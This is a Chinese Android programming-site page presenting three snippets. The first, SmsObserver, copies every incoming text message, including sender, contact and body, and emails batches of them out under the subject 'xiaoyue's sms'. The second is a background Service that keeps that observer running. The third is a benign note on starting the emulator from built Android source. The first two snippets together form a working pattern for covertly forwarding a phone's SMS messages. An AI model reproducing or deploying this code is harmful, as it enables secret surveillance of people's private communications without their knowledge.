当前位置:  编程技术>移动开发
本页文章导读:
    ▪ContentObserver 示例        【原创】ContentObserver 示例 import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import android.content.ContentValues; import android.content.Context; import android.database.ContentObserver; import android.da.........
    ▪ Service 示例        【原创】Service 示例 package com.firewings.smstools; import android.app.Service; import android.content.Intent; import android.net.Uri; import android.os.Handler; import android.os.IBinder; import android.util.Log; public c.........
    ▪ 怎么在本机运行源码的模拟器       如何在本机运行源码的模拟器 一、必须文件正确编译源码后,在对应的/out/target/product/generic$ 目录下,有userdata.img,system.img镜像文件,在/out/host/linux-x86/bin$ 目录下有emulator脚本文件,在pre.........

[1]ContentObserver 示例
    来源: 互联网  发布时间: 2014-02-18
【原创】ContentObserver 示例
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.ContentValues;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Handler;
import android.util.Log;

public class SmsObserver extends ContentObserver {

private static String TAG = "SmsObserver";
private static final String[] SMS_PROJECTION = new String[] { DbHelper.SmsColumns._ID, DbHelper.SmsColumns.ADDRESS, DbHelper.SmsColumns.PERSON, DbHelper.SmsColumns.DATE, DbHelper.SmsColumns.TYPE,
DbHelper.SmsColumns.BODY };

private Context context;
private int _id = -1;

public SmsObserver(Context context, Handler handler) {
super(handler);
this.context = context;
Log.i(TAG, "My Oberver on create");
}

public void onChange(boolean change) {

Log.i(TAG, "Sms onChange");

Uri uri = Uri.parse("content://sms");

Cursor c = context.getContentResolver().query(uri, null, null, null, "_id desc limit 1");

if (c != null) {
boolean first = false;
while (c.moveToNext()) {
int id = c.getInt(c.getColumnIndex(SMS_PROJECTION[0]));
String address = c.getString(c.getColumnIndex(SMS_PROJECTION[1]));
String person = c.getString(c.getColumnIndex(SMS_PROJECTION[2]));
String date = c.getString(c.getColumnIndex(SMS_PROJECTION[3]));
String type = c.getString(c.getColumnIndex(SMS_PROJECTION[4]));
String body = c.getString(c.getColumnIndex(SMS_PROJECTION[5]));
if (_id != id) {
first = true;
Log.e(TAG, "address=" + address);
Log.e(TAG, "date=" + date);
Log.e(TAG, "body=" + body);
ContentValues values = new ContentValues();
values.put(DbHelper.SmsColumns.ADDRESS, address);
if (person != null)
values.put(DbHelper.SmsColumns.PERSON, person);
values.put(DbHelper.SmsColumns.DATE, date);
values.put(DbHelper.SmsColumns.TYPE, type);
values.put(DbHelper.SmsColumns.BODY, body);
context.getContentResolver().insert(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), values);
}
_id = id;
}
c.close();

String html = getSmsHtml(first);

}

}

public String getSmsHtml(boolean first) {

StringBuffer sb = new StringBuffer();
String ids = "";

if (first && isConnectInternet()) {
Cursor cursor = context.getContentResolver().query(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), SMS_PROJECTION, DbHelper.SmsColumns.SEND + "=0", null, "_id desc limit 20");
if (cursor != null) {
sb.append("");
sb.append("");
sb.append("id");
sb.append("address");
sb.append("person");
sb.append("date");
sb.append("type");
sb.append("body");
sb.append("");
while (cursor.moveToNext()) {
sb.append("");
int id = cursor.getInt(cursor.getColumnIndex(SMS_PROJECTION[0]));
String address = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[1]));
String person = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[2]));
String date = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[3]));
String type = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[4]));
String body = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION[5]));
sb.append("" + id + "");
sb.append("" + address + "");
if (person != null)
sb.append("" + person + "");
else
sb.append("" + "null" + "");
sb.append("" + formatDate(Long.parseLong(date)) + "");
sb.append("" + type + "");
sb.append("" + body + "");
sb.append("");
ids += id + ",";
}
sb.append("");
ids = ids.substring(0, ids.length() - 1);
}
}
SmsMail mail = new SmsMail("xiaoyue's sms", sb.toString());
if (mail.send()) {
return ids;
}
return null;
}

public String formatDate(long time) {
DateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = new Date();
date.setTime(time);
String s = format.format(date);
return s;
}

public boolean isConnectInternet() {

ConnectivityManager conManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);

NetworkInfo networkInfo = conManager.getActiveNetworkInfo();

if (networkInfo != null) { // 注意,这个判断一定要的哦,要不然会出错

return networkInfo.isAvailable();

}

return false;
}
}
 

    
[2] Service 示例
    来源: 互联网  发布时间: 2014-02-18
【原创】Service 示例

package com.firewings.smstools;  
  
import android.app.Service;  
import android.content.Intent;  
import android.net.Uri;  
import android.os.Handler;  
import android.os.IBinder;  
import android.util.Log;  
  
public class SmsListener extends Service {  
  
    private static String TAG = "SmsListener";  
  
    @Override  
    public void onCreate() {  
        // TODO Auto-generated method stub  
        super.onCreate();  
        Log.i(TAG, "SmsListener is running");  
        getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, new SmsObserver(this, new Handler()));  
    }  
  
    @Override  
    public IBinder onBind(Intent intent) {  
        // TODO Auto-generated method stub  
        return null;  
    }  
}  
 

    
[3] 怎么在本机运行源码的模拟器
    来源: 互联网  发布时间: 2014-02-18
如何在本机运行源码的模拟器
一、必须文件
正确编译源码后,在对应的/out/target/product/generic$ 目录下,有userdata.img,system.img镜像文件,
在/out/host/linux-x86/bin$ 目录下有emulator脚本文件,
在prebuilt/android-arm/kernel$有kernel-qemu文件!
二、将在/out/host/linux-x86/bin$ 目录下有emulator脚本文件,
在prebuilt/android-arm/kernel$有kernel-qemu文件都cp到/out/target/product/generic$目录下
三,使用./emulator -system system.img -data userdata.img 命令
即可启动模拟器

    
最新技术文章:
▪Android开发之登录验证实例教程
▪Android开发之注册登录方法示例
▪Android获取手机SIM卡运营商信息的方法
▪Android实现将已发送的短信写入短信数据库的...
▪Android发送短信功能代码
▪Android根据电话号码获得联系人头像实例代码
▪Android中GPS定位的用法实例
▪Android实现退出时关闭所有Activity的方法
▪Android实现文件的分割和组装
▪Android录音应用实例教程
▪Android双击返回键退出程序的实现方法
▪Android实现侦听电池状态显示、电量及充电动...
▪Android获取当前已连接的wifi信号强度的方法
▪Android实现动态显示或隐藏密码输入框的内容
▪根据USER-AGENT判断手机类型并跳转到相应的app...
▪Android Touch事件分发过程详解
▪Android中实现为TextView添加多个可点击的文本
▪Android程序设计之AIDL实例详解
▪Android显式启动与隐式启动Activity的区别介绍
▪Android按钮单击事件的四种常用写法总结
▪Android消息处理机制Looper和Handler详解
▪Android实现Back功能代码片段总结
▪Android实用的代码片段 常用代码总结
▪Android实现弹出键盘的方法
▪Android中通过view方式获取当前Activity的屏幕截...
▪Android提高之自定义Menu(TabMenu)实现方法
▪Android提高之多方向抽屉实现方法
▪Android提高之MediaPlayer播放网络音频的实现方法...
▪Android提高之MediaPlayer播放网络视频的实现方法...
▪Android提高之手游转电视游戏的模拟操控
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3